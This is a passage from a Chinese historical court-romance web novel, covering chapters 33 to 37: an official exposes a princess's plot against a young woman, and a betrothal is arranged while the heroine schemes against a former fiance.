越听,钱夫人越觉得事情没那么简单,“你先睡觉,今日的事,我已经下了命令,谁都不许乱说话。还好是在郊外,咱们好把控,绝不会影响你的名声。谢大人已经在审问了,有他在,肯定会给你一个交代。” 安抚好外甥女,钱夫人才去谢泊淮审问的院子,她刚进去,便听到惨绝人寰的惨叫,她都忍不住颤了颤。 “夫人别进去的好,免得您看了做噩梦。”青山出来道。 “问得怎么样了?”不出个结果,钱夫人睡不着,看到叶婉宁也过来了,两人一起看向青山。 青山得了主子的交代,转述道,“已经问出了方向,不过这几个人都训练过,想从他们嘴里套话,还要一些时间。夫人和叶大姑娘先回去休息,明早肯定能审出来,你们放心,这世上没有镇府司审问不出来的秘密。” 确实,镇府司那地方,京城里的人光是听到就害怕。 叶婉宁看看青山,和钱夫人一块儿回去了。 路上钱夫人说对不起姜姒,“我应该多派两个人护送的。”人在她眼皮子底下出事,哪能和妹妹交代。 “夫人别太自责,我们也没安排好,原想着路程不远,有哥哥和小厮在,不会出问题。”叶婉宁也很自责,她去看过哥哥,脚底板都磨破了,更别说姜姒,“眼下还没具体结果,咱们听谢大人的,明日再来商议后续。” 这一晚,谁都没睡好。 天刚蒙蒙亮时,谢泊淮让青山把人聚到了钱夫人院子里。 谢泊淮刚进屋,便和钱夫人道歉,“此事已经查清楚,是因我而起,连累了姜姑娘。” “谢大人的意思是?”钱夫人没听明白。 “昭云郡主因妒生恨,误以为我心仪姜姑娘,这才派人毁坏姜姑娘名节。几个山贼都是士兵假扮,我已经让他们画押认罪,至于后续如何解决,还得看你们的意思。”谢泊淮说这话时,眉头一直皱着。 钱夫人一口气堵在胸口,“她也太嚣张了吧?仗着父亲是亲王,竟然那么大胆!” 骂完后,钱夫人冷静一下,赶忙接着道,“我已经让人去请我妹妹,这个事不能外传,也不能去闹。” 叶明岳问为何。 叶婉宁在一旁小声解释,“昭云郡主是皇上的亲孙女,就算我们拿着人证物证去告,皇上最多褫夺封号,让昭云郡主禁足思过。但姜妹妹的名声就毁了,我们知道姜妹妹没被贼人玷污,外边人可不清楚。事情传起来,姜妹妹没法子做人了。” 钱夫人就是这么个意思,叶明岳不甘心,“难道咱们就无可奈何了吗?” “不一定。”叶婉宁看向谢泊淮,世人都说谢泊淮最记仇,此事谢泊淮不会坐视不管。 过了正午,姜夫人到达钱家,看到女儿的脚上包得厚厚的,脸色惨白,姜夫人心疼得直哭。 “她昭云郡主是皇亲国戚,就能不把人当人了吗?”姜夫人抱着女儿痛哭,“这件事没完,母亲一定替你讨回公道。” 姜姒靠在母亲怀里,才敢哭出声来。 钱夫人再次落泪,过了会儿,才把妹妹喊出去,问她是什么想法。 “妹妹可别冲动,昭云郡主是可恨,但姒儿的名声才是最重要的。不能为了拖昭云郡主下水,就坏了姒儿的名声。”钱夫人提醒道。 “姐姐说得对,这个事不能放在明面上闹。”姜夫人深吸一口气,却还是恨极了昭云郡主。 “谢大人说,如果我们没打算告昭云郡主,那几个贼人他会安排成惠王府的逃兵,向惠王府发难。至于我们两家,妹夫在御史台那么多年,等逃兵的事闹起来,再把这么多年弹劾昭云郡主的折子一起送到御前。惠王府这些年嚣张的底气,都是来自皇上的宠爱。若是皇上对惠王府失望了,到时候墙倒众人推,不用我们再动手,惠王和昭云郡主都不会有好下场。”说起谢泊淮的谋划,钱夫人再次感叹,这人实在是厉害,果然是京城里最不能得罪的人。 姜夫人知道这是最妥善的办法,当面谢过谢泊淮和叶家人,才去安排起来。 姜姒留在钱家养伤,叶婉宁带着哥哥回叶家,而谢泊淮说,为了以防万一,还是骑马送叶家兄妹回去。 马车轻轻摇晃,隔着木窗的缝隙,叶婉宁可以看到谢泊淮高大的身影。 不知为何,有谢泊淮在,让人安心多了。 第33章 禁足 “二哥哥,你慢点。”叶婉宁先下了马车。 小厮过来背叶明岳,被他拒绝了,“还没那么严重,我个大男人,不怕疼。” 站稳后,叶明岳和谢泊淮行礼道谢,“多谢大人护送我们归家,改日等我好了,我再请大人吃酒。” 谢泊淮看看叶明岳,目光移向叶婉宁,“庄园僻静,最好是别出门了,用不着那么急嫁人。” 留下这句话,谢泊淮骑马走了。 尘土飞扬而起,叶明岳看着谢泊淮的身影感叹,“你看吧,谢大人挺不错的,骨子里还是个好人。也不知道外边人怎么传的,把他传得那么可怕。” 叶明岳打定主意,回了京城后,一定要和谢泊淮处好关系,有谢泊淮在,看谁还敢欺负叶家。 叶婉宁是见过谢泊淮杀人的,她不能说谢泊淮是坏人,但谢泊淮确实可怕。见二哥哥一脸崇拜,叶婉宁带着人回去,同时交代小厮加强巡逻,别再出什么事了。 谢泊淮回到京城后,带着“逃兵”们的尸体进了宫,人是从惠王府出来的,皇上当即宣了惠王。 惠王是一头雾水,没明白怎么回事,看在皇上眼里,就是惠王办事不力,连手下出了逃兵都不知道。 皇上让谢泊淮先出去,留下惠王一人,“近来你是不是太懈怠了?” “儿臣不敢!”惠王还是没懂逃兵的事,但谢泊淮到了皇上这里,必定有了证据,赶忙跪下。 “你有什么不敢的?”皇上丢下几封奏折,“别以为朕不知道你的那点小心思,有些事朕没直说,是给你留面子了。但朕提醒你一句,朕还没死呢,你就在朕的眼皮子底下搞那么多事,是不想当这个亲王了吗?” 惠王觉得冤枉极了,从王中浩被抓后,他低调到不能再低调,就怕再被人抓到把柄。 从殿中出来,惠王后背湿透了,他还是想不明白,谢泊淮从哪里找来的逃兵嫁祸给他? 看谢泊淮没走,惠王沉着脸走过去,“谢泊淮,你……” “王爷想知道什么,不如回家问问昭云郡主,那些尸体,微臣让人送你们惠王府去了。有些事,微臣已经很明确了,如果您还管不好昭云郡主,微臣不介意让您白发人送黑发人。”谢泊淮打断了惠王的话,眼中是不加掩饰的杀气。 等惠王反应过来时,谢泊淮已经走远,气得他胸闷。 匆匆回到王府,得知王妃被吓到,一问之下,才知道镇府司送来了被大卸八块的几具尸体,这些人都是昭云身边的侍卫。 “疯子,他就是个疯子!”惠王去看了一眼,恶心得当场呕吐,“昭云呢?她在哪里?” 见到女儿后,惠王黑着脸问,“你到底做了什么,让谢泊淮那么生气?” “父王,您那么凶干嘛,我……我没做什么啊。”得知侍卫全死了,昭云有些心虚。 “你没做什么,谢泊淮会下手那么狠吗?”惠王看女儿还不肯认错,气得抬手想打人,“我不是和你说过,别再去招惹谢泊淮?” 看到父亲抬起来的手,昭云受到了刺激,大声道,“是,我是让那些人去毁姜姒的名节,谁让她勾引谢泊淮!凭什么不让我找谢泊淮,我就喜欢他,这辈子非他不嫁!” “啪!” 非常清脆的一声。 惠王第一次动手打了昭云郡主。 昭云郡主的脸上,很快浮现出巴掌印,她愣住了,“您打我?” “打的就是你,你知不知道你这样做,会有什么后果?”惠王再次后悔宠溺昭云,“今天谢泊淮去找了你皇爷爷,我被你皇爷爷指着鼻子骂目中无人!钱尚书本来是我的人,你现在得罪姜家,岂不是让钱家和我离心?你个蠢货,我怎么会养出你这种女儿?” 被劈头盖脸骂了一顿,昭云郡主的眼泪瞬间滚落,“父王,您骂我?为了一个姜姒,您竟然打我?” 惠王不想听昭云的哭闹了,对着管事的吩咐,“郡主身边的人没规劝主子,全部杖毙。从今天起,郡主禁足在院子里,谁都不许放她出去。就算是王妃来了,也不许带郡主出去!” 惠王是真的生气了,别人谢泊淮对避之不及,他生的女儿却被谢泊淮迷得失了智。他是有野心的人,现在同时得罪钱家和姜家,还要和谢泊淮为敌,惠王顿时头疼起来。 被禁足的昭云却不觉得自己做错什么,发了疯似地拍门,但身边的丫鬟换了新的,没有人再听她的。 惠王府的这些事,没多久就传到谢泊淮的耳朵里,同样的,还有谢老爷子那。 谢老爷子为官多年,靠的就是一个圆滑,结果这两个月下来,谢泊淮把惠王往死里得罪,他忍不住又找了过来。 “你这次又为了什么?”谢老爷子踹开门。 “无可奉告。” “我是你爹!你别给我这副冷脸。”看谢泊淮这样,谢老爷子的气就不打一处来,“你知不知道,有多少人等着看你犯错。从你进镇府司起,京城里的那些官员,看到你都绕着走。太子平庸,其他王爷虎视眈眈,如果是惠王上位,你知不知道谢家就完了?” “那又如何?”谢泊淮冷眼扫过去,“你觉得我会担心谢家吗?真要怕被牵连,不如把我赶出家门,那我反而谢谢你。” 他都把自己的院子单独隔开,京城里谁不知道,他和谢家其他人不对付。但谢老爷子亲自砸了院墙,非要把他和谢家绑在一起。 谢老爷子拍着胸口,“谢泊淮,只要我活一天,你就别想离开谢家!我问你,你到底心仪谁家姑娘?若是家世清白,配得上谢家门第,快点把人娶进家门,断了昭云郡主的希望,免得她一直纠缠你。等你当了父亲,就懂我的良苦用心。” “还是别了吧,我可不祸害好人家的姑娘,就谢家这个龙潭虎穴,我还是一个人比较好。”谢泊淮不加掩饰地嘲讽,“没什么事,你回去吧。真想训儿子,去大房或者二房,他们会体会你的良苦用心。” “你!” 谢老爷子气得说不出话来了,指着谢泊淮好半天,才摔门离开,“好好好,你厉害,我倒要看看,等人家姑娘嫁人后,你会不会后悔!” 门撞在门槛上,发出重重的响声。 青山听得满脑疑问,他天天跟在主子身边,怎么不知道主子的心上人是谁? 书砚则是小声开口,“三爷,其实老爷……” 还没等书砚说完,看主子抬眼看过来,他立马住了嘴。 青山拱了拱书砚胳膊,“你要说啥,怎么不说了?” “你闭嘴。”书砚小声瞪了过去,这蠢货,怎么还不会看三爷脸色? “你们都去营地跑十圈。”谢泊淮冷着脸,看着心情极差。 第34章 下聘 谢泊淮和惠王府的这些事,暂且传不到叶家庄园。 但此时,叶家也有人发愁。 叶老夫人得知姜姒走丢后,是叶明岳一路护送,两个人还掉到水中,把叶明岳叫到了跟前。 “祖母知道你不喜欢姜姑娘,但你们经历过这一回,两家人私底下都清楚。上回你不肯点头这门婚事,我骂归骂,却没有逼你。” 叶老夫人说着停下歇歇,“你是男子,不知道女子的不容易。姜夫人给我透了口信,希望两家能结两姓之好,但他们姜家也不敢强求,你是姜姑娘的恩人,他们不会逼你娶姜姑娘。” “既然如此,不就好了吗?”叶明岳不解,“事情没有闹起来,谁都不知道姜姑娘被掳走的事,并不影响姜姑娘的婚嫁啊。” 叶老夫人摇摇头,“你不懂,如果姜御史没有兄弟,父母也讲道理,自然会替姜姑娘安排好一切。就算是远嫁,都能找个不错的人家。但姜姑娘还有堂妹,有祖父祖母,你以为他们个个都通情达理吗?” 姜夫人和叶老夫人说了,如果这门婚事不成,姜姒就要被送到庄子清修。她舍不得女儿蹉跎一辈子,厚着脸皮来找叶老夫人。 “姜夫人说了,不求你与姜姑娘多恩爱,能给她一个宅院过自己的日子就好。就算日后你想娶平妻,姜家也不会有怨言。”叶老夫人叹了口气,为人父母,都在为孩子们考虑,姜夫人能说这些,已经很卑微了。 叶老夫人让叶明岳好好想想,“你回去慢慢想,仔细想,想清楚了再来给我回复。祖母希望你能大度,但又希望你能幸福,明岳,不管你做什么决定,祖母都支持,只是以后别后悔。” 叶明岳从祖母院子里出来时,面色凝重。 叶婉宁姐妹看到他,他都没注意到妹妹们,叶婉玉想叫住叶明岳,叶婉宁和她摇了摇头。 等叶明岳离开后,叶婉宁才道,“姜家的事,让你们二哥哥自己去想。祖母比我们有阅历,该说的,祖母都会说,不用我们再去劝。” “要是二哥哥拒绝了,姜姐姐多可怜啊。”叶婉玉叹气道。 “可逼着二哥哥娶姜姑娘,他就能高兴吗?”叶婉宁是觉得姜姒不错,上辈子姜姒也与二哥哥相处出感情,但这次不一样了,他们的人生都发生了变化,她不是圣人,做不到成全别人,而憋屈家人,“婉玉,人生在世,不一定要做世人都认为对的事。有时候自私一点是好事,谁都可以不在乎我们的感受,但我们自己要在意。” 叶婉玉撑着脑袋说不理解,叶婉华则是眼睛亮了亮,她觉得大姐姐不一样,以前的大姐姐绝对不会说这种话。 事情没定下来,叶婉宁不好去看姜姒。 直到两天后,叶明岳去找了叶老夫人,说他同意了这门婚事,叶婉宁才带着礼物去钱家。 姜姒的脚底磨破一大片,尽管几天过去了,还是不能下地走路,她还不知道叶明岳同意了,看到叶婉宁姐妹,有些拘束,想着母亲瞒着她去说亲,现在不好意思见叶家姐妹。 叶婉玉是个忍不住的,第一个冲到床沿,眼睛笑成一条缝,“姜姐姐,我真高兴,以后咱们就是一家人了呢!” “啊?” “你还不知道吗?”叶婉玉说得飞快,“我二哥哥同意了,我祖母已经派人去京城给我大哥大嫂送信,等他们找好媒人,就去姜家下聘。” 姜姒愣住一会儿,脸瞬间红透了,叶婉宁拉了拉妹妹,坐在床沿,“原想着等事情定好了,再与你说,但我二妹妹这个人性子急,等不住。我二哥哥这个人和寻常公子是不太一样,但他本性是好的。他答应了的事,必定是想好好对待,不然打死他也不会同意。” “可他之前……”姜姒的眼睛红了。 “之前是之前,现在是现在,人是会变的。”叶婉宁拍拍姜姒的手,示意她放心,“百年修得同船渡,千年修得共枕眠,这是你与我二哥哥的缘分。” 姜姒掩面哭了起来,母亲说祖父想送她去庄子修行,她只是愣了愣,但还是同意了。叶明岳救了她,没理由再去祸害人家。 话说到这里,钱夫人来了,姜姒赶忙擦了眼泪。 钱夫人知道姜姒和叶明岳的事,对叶家姐妹的态度更和气了,“你们该常来才是,姒儿一个人在庄子里,又不能下地,日子太憋闷了。” 叶婉玉笑着说会的,叶婉宁也淡淡笑着。 钱夫人打量着叶婉宁,不得不说,叶家这位大姑娘,还真是处变不惊,更有世家主母的风范。果然眼见为实,如果儿子没成亲,她都想派人去叶家说亲。 钱夫人留叶家姐妹说话,期间单独见了叶婉宁一面,“算着日子,若眉已经见到周钰那位表妹了。叶大姑娘,如果若眉还不肯死心,又该如何?” 自己的女儿,钱夫人还是了解的,被她保护得太好,未必会就此放弃。反而想着,万一她能改变周钰。 “一击不中,再来一击便好。”叶婉宁道,“夫人心中清楚,周钰为了什么才想迎娶钱姑娘。既然如此,钱夫人不如多给周钰一个更好的机会,看看周钰会如何选择?” 钱夫人出身高门,也认识不少世家夫人,她来办这事,还是能找到人帮忙的。 “你果然聪慧,这事我知道该怎么办了。”为了女儿,钱夫人不管自家老爷如何想了,绝对不能让女儿去跳火坑。 “夫人谬赞了,钱姑娘接触的人少,太过单纯,夫人若是下药太猛,容易让钱姑娘振作不起来。夫人还是得拿捏好分寸。”叶婉宁提醒道。 “我明白的,为了这个女儿,我是殚精竭虑。这件事算我欠你一个人情,往后你有什么事,有我能帮得上,尽管来找我。”钱夫人拍拍叶婉宁的手,越看越喜欢叶婉宁。 钱若眉的事,是叶婉宁和钱夫人之间的秘密,叶婉宁谁都没说。 日子过得很快,叶明德怕弟弟反悔,办事非常迅速,三天备好聘礼,立马找了媒人去姜家说亲。 两家人都通过气,看叶家准备的聘礼丰厚,并没有因为山贼的事看清姜姒,姜夫人越发满意叶家。连刻薄的姜御史,私下里都和姜夫人感叹,“姒儿的运气没有太差,我观叶家人品行端正,叶明岳跳脱了一点,往后我亲自督促他,不求他大富大贵,只要懂得上进就行。” 他已经放低了对女婿的要求。 姜夫人听了笑笑,“他们小夫妻的事,你少插手,我只要姒儿过得开心,其余的都不重要。”她给女儿准备了丰厚的嫁妆,足够女儿后半辈子衣食无忧。 婚期定在两月后,入秋时天气凉爽一点,也好办事。 叶明岳定下亲事后,便回了京城,倒不是回去读书见姜家人,而是放不下生意。 叶婉宁姐妹在庄子里住了一个月,过了最热的时候,要启程回京城了。 她们刚到京城,便听到一件趣事,钱尚书在闹市里,把周钰赶下马车。 第35章 二嫂嫂 周钰刚到钱家门口,就被小厮赶走。 “翰林大人,我们老爷说了,您是个眼光高的,我们钱家的门第配不上您,让您往后不用上门了。您别为难我们,您若是不走,被老爷看到了,我们要挨板子的。” 周钰拿出银子,却在钱家小厮眼里看到轻蔑。 “大人还是快走吧,您的银子,我们受不起。”说话的小厮抬手招呼,立马围过来几个人,只要周钰不走,他们便要动手。 无奈之下,周钰只能先离开。 “呸,什么人啊。”小厮赶走周钰,进府找到老爷回话,“人已经走了,但不知道还会不会来。” 钱夫人正好在书房,让小厮先下去,随后微微笑着,“周钰一心想往上爬,谁给他递杆子,只要对他有利,他都愿意往上爬。” 钱尚书面色极差,他看出周钰有才华,也有本事,才愿意扶一扶周钰。至于女儿的婚事,女儿自己都愿意了,想着以后有钱家压着周钰,周钰翻不出什么浪来。 他愿意给周钰机会,已经是一种恩赐。 毕竟整个京城,谁人不知周钰的那些破事。 钱尚书并不是因为女儿的婚事没了着落而生气,在他看来,他能给周钰面子,周钰就应该感恩戴德地接受。结果周钰三心二意,还想着和他毁约,与别家结亲,这让他很没面子。 “哼,我倒要看看他周钰,能和什么样的人家结亲!”钱尚书胸口憋闷,并不知道许家的事是钱夫人安排的。 “老爷那么生气,不如放些消息出去,总不能让周钰好过吧?”钱夫人和钱尚书夫妻几十年,很了解钱尚书的心思,他这个人,随着官越做越大,高傲得很。 钱尚书说肯定的,“若眉那里,你好好安抚一下。没了周钰,还会有其他合适的人,就算我们养她一辈子,也没问题。” 说到女儿,钱夫人的眸光黯了下来,因为周钰的事,女儿已经哭了好几天,连饭都没怎么吃。 微不可见地叹了一声气,钱夫人去找女儿说话。 而周钰则是去了许家,门房瞧见是他,同样把人拦了下来,“对不住了周翰林,我家夫人说了,没想到您吃着碗里看着锅里,现在不想见您。” “我……我没有啊!”周钰急了。 在许家邀他上门时,许夫人夸了他好几句,又暗示家中还有几位未出阁的小姐,他顿时动了心。 许家门第不比钱家差,许大人同样手握实权,而且许家姑娘健全,既然许夫人有这个意思,周钰不介意多走动走动。 去许家次数多了,许夫人对他格外和颜悦色,话里话外都在夸他有才干,还打听起他的婚事来。 周钰觉得许家看上他是八九不离十,便再去找钱若眉。 他以后是要当大官的人,钱若眉是个瘸子,如何当家做主母?有这种夫人,总会被人笑话。 随着他去许家越来越多次,纸包不住火,钱尚书知道后叫他上门。他想着他多结交一位大人,算不上什么,便承认有去许家做客。 不曾想,钱尚书直接问他是不是想做许家乘龙快婿,他一下愣住没答上来,钱尚书便发了火,把他赶出去。 “您就别否认了,若不是钱家派人来打听,我家夫人还一直被您蒙在鼓里呢。您别嫌我说话不好听,您好歹是个男人,还读过书,一直想靠女人上位,说起来多难听。也罢,这话您肯定听不进去,反正啊,您以后不用来许家了,我们夫人是不会见您的。” 门房的话刺耳至极,周钰脸颊通红。 小心思被人当面说出来,还是一个下人,周钰一句辩解的话都说不出来。 他非常后悔,原想着两边都接触,如果许家能先定下来,便是最好,毕竟他和钱若眉没定亲,只是钱尚书口头表明态度。即使不能做许家女婿,最后也有钱若眉当退路。 谁曾想,竹篮打水一场空。 因为他的贪心,导致两家都把他拒之门外。 周钰不懂怎么走回去的,钱家已经是他现在能接触到最好的门户了。自从退婚后,他的名声差到谷底,费劲心思,才得知钱尚书家的二姑娘腿脚不便。 为了表明诚意,这一次,不管母亲怎么反对,他强行送走许竹苓母子。 结果什么都没得到,还得罪钱家和许家? 周钰站在院子里,癫狂地大笑,周母闻讯出来,“我的儿啊,你这是怎么了,你别吓我?” “噗!” 周钰吐出一口老血,眼前黑了过去。 “快来人啊,风染你快去请大夫!”周母扶起儿子的头,吓得浑身发颤。 周家请了大夫,叶婉宁傍晚就知道了。 福生来回的话,“周翰林先被钱家拒之门外,又被许家门房嘲讽,两边都没落到好,应该是气到了。” “是他的报应。”叶婉宁冷哼道,“周钰太着急上位,又太贪心,如果他老老实实和钱尚书周旋,钱夫人也奈何不了他。现在得罪了钱尚书,不仅名声差了,在朝堂上,钱尚书绝对不会让他好过的。” 福生:“肯定的。” “许竹苓那里怎么样了?”叶婉宁又问。 “她的日子不太好,虽然周夫人给了银钱,总归有限。加上她未出嫁的姑娘,带了一位孩子,尽管对外说是捡来的,但村里还是有人多嘴多舌。” 叶婉宁拿出一张银票,“这些日子辛苦你了,周钰现在病了,麻烦你跑一趟周钰老家。村里人不是爱多嘴么,你就坐实他们的猜想,让周钰在老家的名声臭了,也让许竹苓母子待不下去。” 老家待不了,许竹苓就会想办法来京城。 有许竹苓母子在,便会提醒大家,周钰和许竹苓的不堪往事。 “大姑娘放心,小的一定快马加鞭地把事情办妥。”福生最爱帮大姑娘跑腿了,大姑娘出手大方,如今他攒了些银子,再过两年,可以找媳妇了。 等福生走后,叶明岳笑呵呵地来了。 他得意地拿出账本和银票,“妹妹数数吧。” “六百五十两银子?”叶婉宁知道二哥哥有做生意头脑,亲眼看到银票,才有真实感,“是过去一个月挣的?” “对啊,本来不止这些,我觉得今年冬天会冷,囤了一批棉花,交了一部分订金,不然挣更多。”叶明岳咧嘴笑着,“你二哥哥我厉害吧?” “厉害呢,要不是看好你,我也不会把铺子交给你打理。”叶婉宁看账本时,听二哥哥说想盘下成衣铺子隔壁的铺面,一楼答应下来,“既然交给二哥哥了,你来安排就好。” 她拿出一百三十两银子,“这是之前说好的,给你的分红。” 叶明岳拿着银票,耳朵突然红了,“妹妹,能不能再给我支一些钱?” “你要做什么?” “我想打一套头面,有宝石那种。”叶明岳说完紧紧抿着唇,头面打来肯定不是他自己戴。 想到二哥哥下个月成婚,叶婉宁笑着把剩下的五百二十两都推了过去,“既然是给二嫂嫂打的,就往好的打,算我和家里的一些心意。” 听到“二嫂嫂”三个字,叶明岳脸更红了。 第36章 马球会 “这事,你不要与旁人说。”叶明岳道。 “你给二嫂嫂打头面,是给她撑面子,好事为何不能说?”叶婉宁不太懂。 叶明岳把银票仔细收好,“外边人爱做面子,我是不在乎这个事。祖母说得对,人生没有后悔药,若是答应了婚事,便要认真对待人家。这门亲事,姜家肯定担忧着,我打头面只是想姜家和姜姑娘放心点。事已至此,日子还是要好好过。” 要说喜欢,暂且谈不上,但叶明岳发现人还是要多相处,多接触后,便会发现不一样。 说着,叶明岳突然叹气,“你是不知道啊,这段时间,姜家兄弟看到我,就拷问我功课。我真是头都大了,一个个恨不得亲自看着我读书,害我去铺子的时间都少了。” 他是真不爱读书,功名于他而言,没有任何吸引力。大哥哥为了叶家不得不在官场努力,他不喜欢官场的处事,倒不如做擅长的事。 “你不打算走科举入仕的路,旁的人倒是不打紧,二嫂嫂那还是要说清楚。姜家比咱们家更看重读书,二嫂嫂两个兄弟都在朝中为官,更别说还一个爱直言上谏的姜御史。”叶婉宁道。 “知道了,我的事算不上什么。我看妹妹你,对你自己的事,反而不上心。”叶明岳早就发现了,家中安排大妹妹相看,大妹妹会答应,但次次都是淡淡的。 叶婉宁轻声叹气,“和你说句心里话,我对婚嫁之事,确实没了兴趣。” “都怪周钰那个王八蛋,是他害你寒了心。你别想着天下男人都一样,好男人也有的,祖母最担心你的婚事,要是一直拖着,她老人家该着急上火了。”叶明岳看时候不早,又说了几句才离开。 成亲吗? 叶婉宁长眉轻抬,还是罢了,人活一辈子,最不该强求自己。 在叶明岳的头面送到姜家后,姜姒的嫁妆如流水一般抬到叶家,看得林氏几个惊叹不已。 林氏私下找叶婉宁商量,是不是该再添一些聘礼,叶婉宁说不用了,“当年爹娘在的时候,给大嫂你的聘礼也是差不多,二哥哥更小,不好越过大房的去。姜家给的嫁妆多,说明姜家看重这门婚事。大嫂嫂不用有压力,咱们家已经给足诚意。” 林氏没想到小姑子还考虑到自己的感受,“还是婉宁你想得通透,等二弟妹进门,就有人一起帮我一起替你觅良婿。” 说到这个,林氏突然想到一件事,“我母亲邀我去隆玉公主的马球会,我已经问过婉玉了,她很愿意去。你也一块去吧,我记得你是会打马球的。你要是不去,二妹妹她们肯定不好意思去。” 在林氏的再三央求下,叶婉宁才点了头。 隆玉公主回京城后,隔三岔五地摆宴,朝中对此没人敢说什么,毕竟是隆玉公主和亲乌苏,才换来边境十几年的太平。而隆玉公主似乎是想把过去吃的苦都补回来,日子过得十分奢靡,时常还能有新鲜乐子,一时间,隆玉公主的宴席风靡了整个京城。 叶婉玉和叶婉华年纪小点,想去看热闹是正常,叶婉宁只当陪妹妹们去。 出发那日,林氏仔细交代,“马球场人多,难免有不认识的人,切记不要乱跑乱撞,在人多的地方待着。”她总有应酬交际,照顾不到小姑子们的时候。 “大嫂嫂这话我记下了,除了我爱玩,大姐姐和三妹妹都是安静的人,我肯定不给你惹麻烦。”叶婉玉一脸期待,她早就听说隆玉公主的宴席有意思,今日能亲自去见见,不枉她期待许久。 几乎半个京城的达官贵族都来了,叶婉宁刚下马车,便看到谢令仪。 叶婉玉拉过姐姐的手,“咱们别搭理她。” “叶婉宁,你真是好本事。”谢令仪却不打算放过叶婉宁姐妹,径直走了过来,“你竟然能让我三叔帮你落选,我还以为我三叔看上什么样的国色天香,原来不过如此。” 叶婉宁心中一咯噔,谢令仪怎么知道这事? 但她不能显露出来,“谢姑娘,你也是大家族的姑娘,怎么好胡乱说话。我们落选,都是有原因的。谁人不想飞黄腾达,你不想吗?” 谢令仪当然想,她做梦都想嫁到皇家,好让大房和三叔仰着头看她。但三叔破坏了她的婚事,害她成为笑话,那日她去看祖父,无意中听到这个事,今日就是特意要给叶婉宁难堪。 “叶婉宁,你身为大家闺秀,却和我三叔私下往来,你有什么资格质问我?”谢令仪越说越大声,就想吸引别人过来,“还是说,不是你,是你两个妹妹?” “谢姑娘!”林氏怒了,“你再这样污蔑我妹妹们,我倒要去问问你家长辈,到底怎么教养女儿的?” 此时姜夫人和钱夫人看到这边动静,一块过来问怎么回事,林氏还是不想闹大,“和谢姑娘随便说了几句话,谢姑娘,你说是吧?” 谢令仪抿着嘴,好不容易得来的机会,她不想错过,但她大伯母也过来了,挡在了她身前,“原来是钱夫人,我好久没见到你了,瞧你气色越发好了。” 面对谢大夫人,钱夫人同样笑着回话,她们有说有笑,也就把之前的气氛盖过去。 过了会,谢大夫人带走了谢令仪,到了没人地方,才黑着脸道,“我不管你刚刚和叶家人说什么,但你是谢家姑娘,你母亲今日没来,你就跟着我吧,别丢了谢家姑娘的名声,知道了吗?” 谢令仪不太甘愿地应了一声好,面对大伯母,她没了气焰,只好另做打算。 另一边,姜夫人出于关心,问林氏刚刚怎么了,林氏心里慌得很,但面上只能说没什么。 同样担忧的,还有叶婉宁。 谢泊淮办事,怎么会让谢令仪知道? 与此同时,在一辆马车后的丫鬟,看着叶家人走远后,飞快地跑去找主子。 “你没听错?”昭云郡主被关了数日,是她母妃替她保证,父王才让她出来。 彩雀用力点头,“千真万确,奴婢回去给您拿手帕时,亲耳听谢姑娘说的,您可以找谢姑娘来确认。她是谢家人,她听到的消息,应该不会错。” “原来从最开始,我就盯错了人,好一个叶家姐妹,一群狐狸精!你去找谢令仪,让她立马来见我!”昭云郡主刚说完,边上嬷嬷小声提醒,“郡主,王妃可是交代了的,您可不能再惹事。” 昭云郡主没好气道,“我做什么了吗?我只是找谢令仪确定一下,嬷嬷年纪大了,还是多喝茶,少说话!” 嬷嬷深知郡主脾气,不敢再劝,默默退出营帐,她得去找王妃提个醒。 第37章 酣战 谢家,谢老爷子又到了谢泊淮院子。 “说说,你看上叶家哪一个了?”谢老爷子对着青山几个挥挥手,示意他们出去,“你别说是看在叶明岳的面子上帮忙,叶家落魄不比当年,他们家的人,巴不得女儿嫁到皇家。” 青山关门时,还是很惊讶,拉着书砚问怎么回事,“老爷说的话,我怎么听不懂?”他可是毎日跟着主子。 “你当然听不懂,就你的榆木脑袋,你能听懂什么?”书砚用力拍了下青山的头,“笨死你算了,白长了一个脑子,不知道你用来想什么。我问你,你以前见过三爷和谁家姑娘说话吗?” “以前是没有,最近倒是见了叶大姑娘几次。”青山道。 “那你又有见过三爷,操心谁家姑娘的事吗?” “好像也是最近帮了叶家几次。”青山这才恍然大悟,“原来三爷看上叶姑娘了啊,为啥啊?以前也不见他们见过啊?” 书砚一直盯着门,不想和青山多说了。 青山不敢问主子,不想明白,心里难受,拉着书砚不放。 书砚嫌弃地甩开青山,才小声道,“三爷十岁时在庙里落水,夫人不让请大夫,把三爷一个人关在房里,你忘了是叶大姑娘叫人请大夫吗?” 青山还真记不得了,那会他也小,被夫人支开,等他找到三爷时,三爷已经看过大夫了。 “那么多年的事,三爷怎么还记得?” “你以为谁都像你,没心没肺。”书砚白了青山一眼,听到房中有人摔茶盏,默默替老爷捏把汗。他家主子是真能干出拳打老子的事。 屋内。 谢泊淮反问,“你派人查我?” “谢泊淮,你是我儿子,我才查你!”谢老爷子到底位居一品,手段和人脉都有,谢泊淮替叶家办的事,虽然谢泊淮收拾干净了,但他还是查到一些蛛丝马迹。 茶盏是谢泊淮这时摔的,他早就和老头说过,别管他的事。 “好好好,你本事大了,但我告诉你,你想娶叶家的女儿,门都没有!”谢老爷子看不上叶家门第,“他家大姑娘退了婚,剩下两位是庶女,不管哪一个,都别想嫁到谢家。如果你舍得让她们做妾,那我不拦着你,三个一起纳到后院,都随你!” 谢老爷子对小儿子寄予厚望,长子过于平庸,长孙更是一摊混账事,把谢家交到长子手里,不出十年,谢家就要落败了。他是一家之长,还要考虑整个家族的兴盛,幼子有手腕,有魄力,他的夫人,很可能要当谢家宗妇的。 “谢仲渊,你别以为能压着我,我愿意娶谁是我的事。谢家的死活我不在乎,别想压到我头上来!”谢泊淮气得直喊他爹名字。 谢老爷子听到谢泊淮如此,更加确认不能让叶家姑娘进门,“原来你谢泊淮也有软肋,我还以为你天不怕地不怕。我也把话放在这里,你想叶家平安,就老老实实听我的安排,选个门当户对的姑娘成亲,不然我有的是法子收拾叶家!” 谢老爷子摔门离开。 院子里的青山推了推书砚,“好哥哥,你进去看看吧,我在院子里等你。”不用想,主子的脸一定很臭,他可不想再被罚了。 “谁是你好哥哥?闭嘴吧你。”书砚深吸一口气,还是进屋收拾碎瓷片。 他连呼吸都小心翼翼,生怕主子拔剑去砍人。 “大人,您……” “你去查,这件事怎么让老头子知道的,立刻马上!”谢泊淮打断道。 有事干总比没有好,书砚立马说了好,到院子时拍拍青山的肩膀,“大人派我去查事,这里就拜托你了。” “我也和你一起去!” “这不行,大人身边得有人伺候,青山啊,辛苦你了,要是挨了板子,我给你带药。”书砚跑得飞快。 “书砚,你不道义!”青山刚转身,便看到主子迎面走来,“三……三爷,您要去哪?” 